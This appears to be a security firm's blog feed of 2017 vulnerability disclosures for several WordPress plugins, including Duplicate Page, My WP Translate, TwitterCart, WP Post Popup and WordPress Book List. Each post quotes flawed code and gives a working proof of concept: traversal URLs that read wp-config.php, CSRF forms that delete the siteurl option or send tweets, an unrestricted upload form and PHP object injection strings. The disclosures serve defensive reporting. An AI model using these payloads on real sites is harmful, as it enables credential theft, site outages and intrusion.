20 Oct

Authenticated Information Disclosure Vulnerability in Duplicate Page

We recently went to a take a look at the details of a reflected cross-site scripting (XSS) vulnerability that had been disclosed in the plugin Duplicate Page we noticed that it also had a cross-site request forgery (CSRF) vulnerability. After that we remember that a similar plugin Duplicate Post had previously had a vulnerability that allowed lower level users to get access to password protected posts by duplicating them that was in part due to a lack of protection against CSRF and we then went to check if that was issue with that plugin as well. We found that it was possible.

With the other plugin its functionality was only intended to be used by Editor and Administrator-level users, while with this one the plugin ads links to do the duplication as long as the user has the “edit_posts” capability (in the file /duplicatepage.php):

178
179
180
if (current_user_can('edit_posts')) {
$actions['duplicate'] = '<a title="Duplicate this as '.$post_status.'" href="admin.php?action=dt_duplicate_post_as_draft&post=' . $post->ID . '" rel="permalink">'.__( "Duplicate This", "duplicate_page" ).'</a>';
}

That normally is available to contributor-level and above users.

The duplication is handled by the function dt_duplicate_post_as_draft(), which is accessible to anyone logged in because it is registered as an admin_action:

23
add_action( 'admin_action_dt_duplicate_post_as_draft', array(&$this,'dt_duplicate_post_as_draft') );

That function doesn’t perform any checks as to who is making the request, so anyone that is logged in can duplicate any post. Normally only contributor-level and above could then view the resulting post since it is stored as a draft by default. Through that they could gain access to the contents of posts they would normally not have access to, including password protected posts.

We notified the developer of other security issues in the plugin through their website on October 4 and planned to mention this once they responded, but they didn’t respond. We then notified them of this through the email address listed on the plugin’s page on wordpress.org on October 13, as well as mentioning the previous issues again. We have yet to hear back from them and a new version has not been released. In line with our disclosure policy, which is based on the need to provide our customers with information on vulnerabilities on a timely basis, we are now disclosing this vulnerability.

Proof of Concept

Log in to WordPress as a contributor-level user and visiting the following URL, with the value of “[path to WordPress]” replaced with the location of WordPress and  “[post ID]” replaced with the value of a password protected post on the website:

http://[path to WordPress]/wp-admin/admin.php?action=dt_duplicate_post_as_draft&post=[post ID]

You will now be able to view the contents of the post without having to enter a password.

Timeline

  • October 13, 2017 – Developer notified.
20 Oct

Cross-Site Request Forgery (CSRF) Vulnerability in Duplicate Page

While looking into the details of a reflected cross-site scripting (XSS) vulnerability in the plugin Duplicate Page we noticed that there was no protection against cross-site request forgery (CSRF) when using the plugin’s functionality, duplicating a post or page.

As of version 2.3 the URLs for the duplication looks like this:

/wp-admin/admin.php?action=dt_duplicate_post_as_draft&post=1

If there was protection against CSRF there would be a nonce included in that.

We notified the developer of the issue through their website on October 4 and through the email address listed on the plugin’s page on wordpress.org on October 13. We have yet to hear back from them and a new version has not been released. In line with our disclosure policy, which is based on the need to provide our customers with information on vulnerabilities on a timely basis, we are now disclosing this vulnerability.

Proof of Concept

The following proof of concept will duplicate the POST with ID number 1, when logged in to WordPress.

Make sure to replace “[path to WordPress]” with the location of WordPress.

http://[path to WordPress]/wp-admin/admin.php?action=dt_duplicate_post_as_draft&post=1

Timeline

  • October 4, 2017 – Developer notified.
  • October 13, 2017 – Developer notified.
19 Oct

Arbitrary File Viewing Vulnerability in Candidate Application Form

Recently in our monitoring of the WordPress Support Forum we ran across a thread about claiming a vulnerability being exploited in a plugin Candidate Application. The vulnerability being referred to there was actually in another plugin. The slug of the plugin being discussed is wp-candidate-application-form and the vulnerability was for a plugin with the slug candidate-application-form. The vulnerability mentioned in thread was disclosed in July of 2015. The author of both of the plugins is the same and it looks like after the first plugin was removed they simply moved to the new one. That seems like something that the Plugin Directory should have noticed at the time the second one was submitted for the Plugin Directory.

Looking at the code of the new plugin we found that it has the same type of vulnerability as the first one, though the code has been changed.

In the new plugin, during init the plugin will run the function DownloadAttachment() (in the file /apply_form.php):

1458
add_action('init', array($this, 'DownloadAttachment'));

That function then will call the function downloadUrlToFile() if the GET or POST input “download-attachment” exists:

437
438
439
440
441
442
443
444
function DownloadAttachment()
{
	if (isset($_REQUEST['download-attachment'])) {
		$dir = FILE_UPLOAD_DIR;
		$file = sanitize_text_field($_REQUEST['file']);
		$this-&gt;downloadUrlToFile($dir, $file);
	}
}

In the function downloadUrlToFile() there is code that will output the contents of a file in various ways. The file being to be output is based on combining the value of the $dir and $file variables from the DownloadAttachment() function. The value of $dir would be based on the upload directory of the plugin, /wp-content/uploads/candidate_application_form/. The $file value is based on the value of the GET or POST input “file”. There is no restriction on directory traversal, so that code can be used to view the contents of file outside of the upload directory of the plugin.

We contacted the developer a week ago, but haven’t heard anything back from them and the plugin hasn’t been updated. The plugin was last updated 22 months ago, so it doesn’t seem to be being supported anymore. In line with our disclosure policy, which is based on the need to provide our customers with information on vulnerabilities on a timely basis, we are now disclosing this vulnerability.

Proof of Concept

The following proof of concept will display the contents of the WordPress configuration file, wp-config.php.

Make sure to replace “[path to WordPress]” with the location of WordPress.

http://[path to WordPress]/?download-attachment=test&file=../../../wp-config.php

Timeline

  • October 12, 2017 – Developer Notified
11 Oct

Authenticated Option Deletion Vulnerability in My WP Translate

Recently we went to check on a report of a cross-site scripting (XSS) vulnerability in the plugin My WP Translate and while looking into that we noticed that there were a number AJAX accessible functions that didn’t have the proper protection so that anyone logged in could access them. That is an all too common situation. On a lot of websites that wouldn’t matter much since the only user account is an Administrator, so that if someone gains access to the account they can do whatever they want already, or only trusted individuals have accounts. For websites that do allow untrusted users to have accounts taking extra precautions when it comes to plugins is a good idea. That can include limiting the number of plugins you use and for the highest assurance getting a security review done of them (we do security reviews of plugins suggested/voted for by our customers and also offer a separate service if just want to purchase a review).

Often times the intended functionality of an AJAX accessible function is dangerous for lower level users to have access to, but it is also possible that the code can used to take other action they intended. In the case of this plugin we found that it is possible to use one of those functions to delete WordPress options (settings).  As we discovered with a very similar vulnerability more than a year ago, that can be used to disable a website with a single request.

The plugin made the function ajax_mtswpt_remove_plugin() accessible through WordPress AJAX functionality to only those logged in:

160
$this->loader->add_action( 'wp_ajax_mtswpt_remove_plugin', $plugin_admin, 'ajax_mtswpt_remove_plugin' );

The function, located in the file /admin/class-my-wp-translate-admin.php, doesn’t perform any check on the capabilities of the user (only users with the “manage_options” capability should be able to access it) or check for protection against cross-site request forgery (CSRF). Instead the first thing it does is the value of the POST input “plugin_tab” to variable “$plugin_tab “:

736
737
738
public function ajax_mtswpt_remove_plugin() {
 
	$plugin_tab = $_POST['plugin_tab'];

Later in the code it checks if an option with name that matches the variable’s value exists and if it does, the option is deleted:

754
755
if ( false !== get_option( $plugin_tab, false ) ) {
	delete_option( $plugin_tab );

If you were to use that to delete “site_url” option, it would cause requests for the frontend of the website to show the message “Error establishing a database connection” instead of the intended page content and requests for the admin area to only have the message “One or more database tables are unavailable. The database may need to be repaired.” If you do try a database repair, the result with be that it won’t fix this, but it will be indicated that the options table, where the deleted option existed, “is okay”, which seems unhelpful.

In version 1.0.4 the function has been renamed and a check for a nonce, to prevent CSRF has been added:

950
951
952
public function ajax_remove_plugin() {
 
	check_ajax_referer( 'my-wp-translate', 'security' );

No capabilities check was added, but the nonce is only accessible on the plugin’s admin page, so under normal circumstances that would do the equivalent of a capabilities check, though it would better to check for capabilities as it is possible that a nonce could be compromised.

Proof of Concept

The following proof of concept will delete the siteurl option wp_options table, when logged in to WordPress.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-ajax.php" method="POST">
<input type="hidden" name="action" value="mtswpt_remove_plugin" />
<input type="hidden" name="plugin_tab" value="siteurl" />
<input type="submit" value="Submit" />
</form>
</body>

Timeline

  • October 9, 2017 – Developer notified.
  • October 10, 2017 – Developer responds.
  • October 10, 2017 – Version 1.0.4 released, which fixes vulnerability.
09 Oct

Tweet Sending Vulnerability in TwitterCart

In not the best sign of the security of WordPress plugins, we have repeatedly found other vulnerabilities while looking into possible vulnerabilities through proactive monitoring of changes made to plugins to try to catch serious vulnerabilities. That was the case with the plugin TwitterCart.

In the function simple_tweet() we noticed code that could possible allow for an arbitrary file upload vulnerability (in the file /includes/twitter.php):

731
732
733
$path = TC_PLUGIN_PATH . $_FILES['file']['name'];
 
move_uploaded_file($_FILES['file']['tmp_name'], $path);

We traced back how the code could be accessed and it looked like anyone could access it. But when we tried to exploit the vulnerability we found that the file wasn’t being saved to the filesystem. The reason for that turned out to be that several lines later in the code the file would be removed:

745
unlink($path);

So unless you could cause an error to occur before that happens the file would be uploaded and almost immediately removed. You might be able to request the uploaded file before it could be removed. That might qualify this issue as a possible vulnerability.

But there seemed to be a more serious issue in the plugin based on where the upload code was located. The function simple_tweet() sends out a tweet, so that seemed to indicate that anyone could also send a tweet from the websites Twitter account through the plugin, which we then confirmed.

There were several security issues at play that caused this. First the plugin allowed even those not logged in to access another function tc_new_tweet() through WordPress’ AJAX functionality (in the file /includes/actions.php):

44
45
add_action('wp_ajax_tc_new_tweet', 'tc_new_tweet');
add_action('wp_ajax_nopriv_tc_new_tweet', 'tc_new_tweet');

That function called the simple_tweet() function without doing a capabilities check to make sure the attempt to send is from someone that should be able to do that or check for a valid nonce to prevent cross-site request forgery (CSRF), which could allow an attacker to cause someone that should be able to send a tweet to send one they didn’t intended to (in the file /includes/functions.php):

394
395
396
397
function tc_new_tweet()
{
    require_once TC_PLUGIN_PATH . 'includes/twitter.php';
    simple_tweet($_POST['msg']);

There were quite a few other AJAX accessible functions that were similarly not secured.

After we notified the developer they released version 2.1, which fixes this vulnerability by removing the code shown above and most of the other AJAX accessible code. For the remaining code things were not fully fixed up. As functions that look like are only intended to be accessed by those logged in are still accessible to those not logged in and there isn’t a capabilities check, but there is protection against CSRF added, which would limit any abuse of those other two items.

Proof of Concept

The following proof of concept will send out a tweet from the website.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="https://[path to WordPress]/wp-admin/admin-ajax.php" method="POST">
<input type="hidden" name="action" value="tc_new_tweet" />
<input type="hidden" name="msg" value="Testing to see if plugin allows anyone to send out tweets through a website." />
<input type="submit" name="submit" value="Submit" />
</form>
</body>
</html>

Timeline

  • October 2, 2017 – Developer notified.
  • October 2, 2017 – Developer responds.
  • October 7, 2017 – Version 2.1 released, which fixes vulnerability.
06 Oct

Authenticated PHP Object Injection Vulnerability in Event List

Since June we have been doing proactive monitoring of changes made to plugins to try to catch serious vulnerabilities. So far that has lead to identifying existing vulnerabilities, newly introduced vulnerabilities, newly introduced vulnerabilities in brand new plugins, and vulnerabilities being fixed. For the first time it has lead to us identifying a vulnerability in a plugin that has been removed from the Plugin Directory. It appears the plugin has been through at least one review by the Plugin Directory team that doesn’t look to have caught this vulnerability. That in itself it is not major concern, but the fact that there doesn’t appear to be any publicly available info on the review process, which others could review and then provide suggestions for improvements that could be made, is more of an concern.

There clearly is room for improvement with review process as we have found that the reviews have failed to make sure that the vulnerabilities that caused plugins to removed have been fixed even when they may already be being exploited and also that the handling of those reviews has caused some developers to abandon plugins or abandon having their plugin in the Plugin Directory. The later happened with the very popular Contact Form DB plugin and lead to a lot of websites being less secure.

Since the developer of the plugin we found this vulnerability in, Event Listdoesn’t provide a method to privately disclose vulnerabilities the issues we found with it are now public, so we are providing the details here now even though they haven’t been fixed and the plugin is not currently available in the Plugin Directory.

The plugin makes its main admin page available to anyone with the “edit_posts” capability, which is normally contributor-level and above users:

48
add_menu_page(__('Event List','event-list'), __('Event List','event-list'), 'edit_posts', 'el_admin_main', array(&amp;$this, 'show_main_page'), 'dashicons-calendar-alt', '22.2');

The function that is called when requesting the main page show_main_page() will then call the page show_main(). That function, located in the file /admin/includes/admin-main.php, checks if the user has the “edit_posts” capability (even though that has already been checked for) and then if the specified action is “import” it will run the function show_import():

77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
public function show_main() {
	// check permissions
	if(!current_user_can('edit_posts')) {
		wp_die(__('You do not have sufficient permissions to access this page.'));
	}
	// TODO: add check_admin_referer to improve security (see /wp-admin/edit.php)
	// is there POST data an event was edited must be updated
 
	// check for actions
	if($this->action) {
		switch($this->action) {
			// actions showing edit view
			case 'edit':
			case 'added':
			case 'modified':
				$this->show_edit_view($this->action);
				return;
			// actions showing import view
			case 'import':
				EL_Admin_Import::get_instance()->show_import();

That function show_import(), located in the file /admin/includes/admin-import.php, first again checks the user capability:

38
39
40
41
public function show_import() {
	if(!current_user_can('edit_posts')) {
		wp_die(__('You do not have sufficient permissions to access this page.'));
	}

Then a few lines down if the POST input “reviewed_events” exists the function import_events() will run:

51
52
elseif(isset($_POST['reviewed_events'])) {
	$import_error = $this->import_events();

The first thing that function, also located in the file /admin/includes/admin-import.php, does is unserialize the POST input “reviewed_events”, which permits PHP object injection to occur:

303
304
305
private function import_events() {
	// check used post parameters
	$reviewed_events = unserialize(stripslashes($_POST['reviewed_events']));

That means that there is an authenticated PHP object injection vulnerability accessible to contributor-level and above users. Nowhere in that code is there any protection against cross-site request forgery (CSRF), so the PHP object injection vulnerability is also exploitable that way. Also looking over the rest of the code handling imports into the plugin there is no CSRF protection, so in also in general the import functionality is susceptible to that type of vulnerability.

Update (October 9, 2017): Version 0.7.11 has been released, which resolves the PHP object injection issue by replacing usage of unserialize() with json_decode() (and replacing related usage of serialize() with json_encode()).

Proof of Concept

With our plugin for testing for PHP object injection installed and activated, the following proof of concept will cause the message “PHP object injection has occurred.” be shown, when logged in as a Contributor-level or above user.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin.php?page=el_admin_main&action=import" method="POST">
<input type="hidden" name="reviewed_events" value='O:20:"php_object_injection":0:{}' />
<input type="submit" value="Submit" />
</form>
</body>

Timeline

  • October 6, 2017 – Developer notified.
  • October 8, 2017
05 Oct

Arbitrary File Viewing Vulnerability in WP Post Popup

Back in August through our proactively monitoring for evidence of some high risk vulnerabilities when changes are made to WordPress plugins we found that the plugin WP Post Popup contained an arbitrary file viewing vulnerability. That was subsequently fixed. Through that same monitoring we found that the vulnerability had returned to the plugin.

The only difference from last time is that file the vulnerability was now in is named /public/partials/wp-post-modal-public-proxy.php.

In that file the first code was:

12
13
if ( isset( $_GET['url'] ) ) {
	echo file_get_contents( $_GET['url'] );
That code takes the value of the GET input “url”, passes it to the function file_get_contents(), and echo’s the result. So with that you can view the contents of any file on the website. Hackers would normally exploit that to the view the contents of the WordPress configuration file, wp-config.php file.

In addition to being able to be used for arbitrary file viewing, the vulnerability could be used for cross-site scripting (XSS) since file_get_contents() can also get the contents of URLs “if the fopen wrappers have been enabled”.

After we notified the developer they removed that file. It was removed 13 minutes after version 2.1.2 was released. So there was a small window for those installing or updating the plugin to version 2.1.2 to have gotten it with that version.  If you are using that version to be safe, check if it contains that file and if it does then remove it.

Proof of Concept

The following proof of concept will display the contents of the WordPress configuration file, wp-config.php.

Make sure to replace “[path to WordPress]” with the location of WordPress.

http://[path to WordPress]/wp-content/plugins/wp-post-modal/public/partials/wp-post-modal-public-proxy.php?url=../../../../../wp-config.php

Timeline

  • October 5, 2017 – Developer notified.
  • October 5, 2017 – Vulnerability resolved.
  • October 5, 2017 – Developer responds.
02 Oct

Authenticated Arbitrary File Upload Vulnerability in WordPress Book List

We recently started proactively monitoring for evidence of some high risk vulnerabilities when changes are made to WordPress plugins and if we had more customers we could expand the proactive monitoring to more types of vulnerabilities. One of the types of vulnerabilities we are looking for are arbitrary file upload vulnerabilities since those are likely to be exploited if hackers become aware of them. Through that we came across an authenticated arbitrary file upload vulnerability in WordPress Book List.

The plugin allows users with the “manage_options” capability, which would normally only be Administrators, the ability to access an admin page to upload StylePaks for the plugin.

The uploads are handle through the function wpbooklist_upload_new_stylepak_action_callback(), which is available through WordPress AJAX functionality to those logged in to WordPress as well as those not logged in (in the file /wpbooklist.php):

263
264
add_action( 'wp_ajax_wpbooklist_upload_new_stylepak_action', 'wpbooklist_upload_new_stylepak_action_callback' );
add_action( 'wp_ajax_nopriv_wpbooklist_upload_new_stylepak_action', 'wpbooklist_upload_new_stylepak_action_callback' );

The first thing that function does is check for a valid nonce (in the file /includes/ajaxfunctions.php):

2904
2905
2906
2907
function wpbooklist_upload_new_stylepak_action_callback(){
 
	global $wpdb;
	check_ajax_referer( 'wpbooklist_upload_new_stylepak_action_callback', 'security' );

That value of the nonce is provided through the function wpbooklist_upload_new_stylepak_action_javascript(), which runs when any admin page is loaded:

262
add_action( 'admin_footer', 'wpbooklist_upload_new_stylepak_action_javascript' );

So anyone logged in to WordPress that can access admin pages has access to a valid nonce, despite the user interface for the uploads only being accessible to Administrators.

Returning to the function wpbooklist_upload_new_stylepak_action_callback(), it provides no check to limit what types of users can access it, so as long as someone has access to a valid nonce they can access its functionality. If there is not a POST input “stylepak” then the following line of code will run in the function, which will upload a file without any restriction as to the file type:

2878
$move_result = move_uploaded_file($_FILES['my_uploaded_file']['tmp_name'], LIBRARY_STYLEPAKS_UPLOAD_DIR."{$_FILES['my_uploaded_file'] ['name']}");

We received a response from the developer the same day we contacted them, asking who we were. Several versions of the plugin have been release since then, but the vulnerability has not been fixed. In line with our disclosure policy, which is based on the need to provide our customers with information on vulnerabilities on a timely basis, we are now disclosing this vulnerability.

Proof of Concept

The following proof of concept will upload the selected file to the directory /wp-content/uploads/wpbooklist/stylepaks/library/.

Make sure to replace “[path to WordPress]” with the location of WordPress and “[valid nonce]” with a valid nonce, which is value of the security element in the below the element that can be found below the line “‘action’: ‘wpbooklist_upload_new_stylepak_action’,” on any admin page.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-ajax.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="action" value="wpbooklist_upload_new_stylepak_action" />
<input type="hidden" name="security" value="[valid nonce]" />
<input type="file" name="my_uploaded_file" />
<input type="submit" value="Submit" />
</form>
</body>
</html>

Timeline

  • September 1, 2017 – Developer notified.
25 Sep

Cross-Site Request Forgery (CSRF)/PHP Object Injection Vulnerability in Shoppable Images Lite

Back in June we introduced a new feature to our service where we are trying to proactively catch some serious vulnerabilities in WordPress plugins. The original idea was to catch vulnerabilities as they are newly introduced to the plugin, but when we started working on doing that we realized that it would also catch existing vulnerabilities if they were in code being changed in a plugin. At the end of August, for the first time we caught a serious vulnerability as it was introduced in to a plugin. For the second instance of that occurring, which happened the next week, not only did we catch a vulnerability as it was introduced, but with the first version of the plugin. That should be a good reminder that the review done before a plugin is allowed in to the Plugin Directory does not insure that the plugin is secure at the time it is introduced.

The vulnerability is a cross-site request forgery (CSRF)/PHP object injection vulnerability in the plugin Shoppable Images Lite.

In the first version of the plugin, when visiting the plugin’s settings page in the admin area of WordPress, which is accessible to users with the “manage_options” capability, the function show_admin_notices() would run. Here is that function, from the file /core/common/class-admin.php:

public function show_admin_notices() {
	$notices = self::$notices;

	foreach( $notices as $notice ) {
		echo '>div class="notice is-dismissible notice-'.$notice['class'].'">>p>'.$notice['message'].'>/p>>/div>';
	}

	if(isset($_GET['notice']) && isset($_GET['page']) && $_GET['page'] === Config_Manager::$slug){
		$notice = unserialize(base64_decode($_GET['notice']));
		echo '>div class="notice is-dismissible notice-'.$notice['class'].'">>p>'.$notice['message'].'>/p>>/div>';
	}
}

If the GET input “notice” exists the value of it will be unserialized, which permits PHP object injection.

If an attacker could get someone with the “manage_options” capability, which is normally only Administrators, to visit a specified URL they could cause that user to unintentionally cause PHP object injection to occur.

It also looks possible for there to be reflected cross-site scripting (XSS) due to the GET input being echo’d, but in a quick look we ran into issues with serialization/unserialization of HTML tags.

After we notified the developer they released version 1.0.1, which fixed the vulnerability by removing the function show_admin_notices().

Proof of Concept

With our plugin for testing for PHP object injection installed and activated, the following proof of concept will cause the message “PHP object injection has occurred.” to be shown, when logged in as an Administrator.

Make sure to replace “[path to WordPress]” with the location of WordPress.

http://[path to WordPress]/wp-admin/options-general.php?page=mabel-shoppable-images-lite&notice=TzoyMDoicGhwX29iamVjdF9pbmplY3Rpb24iOjA6e30%3D

Timeline

  • September 5, 2017 – Developer notified.
  • September 6, 2017 – Developer responds.
  • September 23, 2017 – Version 1.0.1 released.
22 Sep

PHP Object Injection Vulnerability in DS.DownloadList

For the second time through our proactive monitoring of changes in WordPress plugins for serious vulnerabilities we have found a vulnerability not just as it is added to a plugin, but as the plugin was introduced into the Plugin Directory.

There is a manual review done of plugins before they are approved for the Plugin Directory and that appears to be intended to involve some check of the security of the plugins as it is stated that:

 Then someone will manually review your code. If we find no issues with the security, documentation, or presentation, your plugin will be approved.

There is nothing beyond that, which explains what, if anything, is actually checked for security wise, which is concerning, Unfortunately that isn’t just an issue with that process, everything to do with handling security by the Plugin Directory is very opaque and maybe not unrelated to that, there are a lot of problems with their handling of security as well.

In the case of the plugin DS.DownloadList, what drew our attention to it was a PHP object injection vulnerability, which is a type of vulnerability that hackers have exploited widely in the last year. But during a review of the plugin the whole concept should have been concerning due to what it is described as doing, “A lightweight plugin to download files and browse folders”.

While the plugin has some protection against abuse what we found was that it could be used by anyone to view the contents of directories inside the /wp-content/ directory. That could for example, allow someone to find the names and then download backup files, which would otherwise be protected by the use of non-easily guessable file and directory names.

The PHP object injection vulnerability occurs at the beginning the function wp_ajax_dsdl(), which is located in the file /classes/Action.class.php:

21
22
23
24
public static function wp_ajax_dsdl()
{
 
	$atts = @unserialize(base64_decode($_REQUEST['atts']));

The value of the GET or POST input “atts” will be unserialized, which permits PHP object injection to occur.

From the name of the function you can probably guess that it is accessed through WordPress’ AJAX functionality. In this case it is made accessible whether logged in or not:

32
33
add_action('wp_ajax_dsdl', array('\dsdl\Action', 'wp_ajax_dsdl'));
add_action('wp_ajax_nopriv_dsdl', array('\dsdl\Action', 'wp_ajax_dsdl'));

We contacted the developer about the vulnerability a week ago, but have not heard back from them. In line with our disclosure policy, which is based on the need to provide our customers with information on vulnerabilities on a timely basis, we are now disclosing this vulnerability.

Proof of Concept

With our plugin for testing for PHP object injection installed and activated, visiting the following URL will cause the message “PHP object injection has occurred.” to be shown.

Make sure to replace “[path to WordPress]” with the location of WordPress.

http://localhost/wp-admin/admin-ajax.php?action=dsdl&atts=TzoyMDoicGhwX29iamVjdF9pbmplY3Rpb24iOjA6e30=

Timeline

  • September 15, 2017 – Developer notified.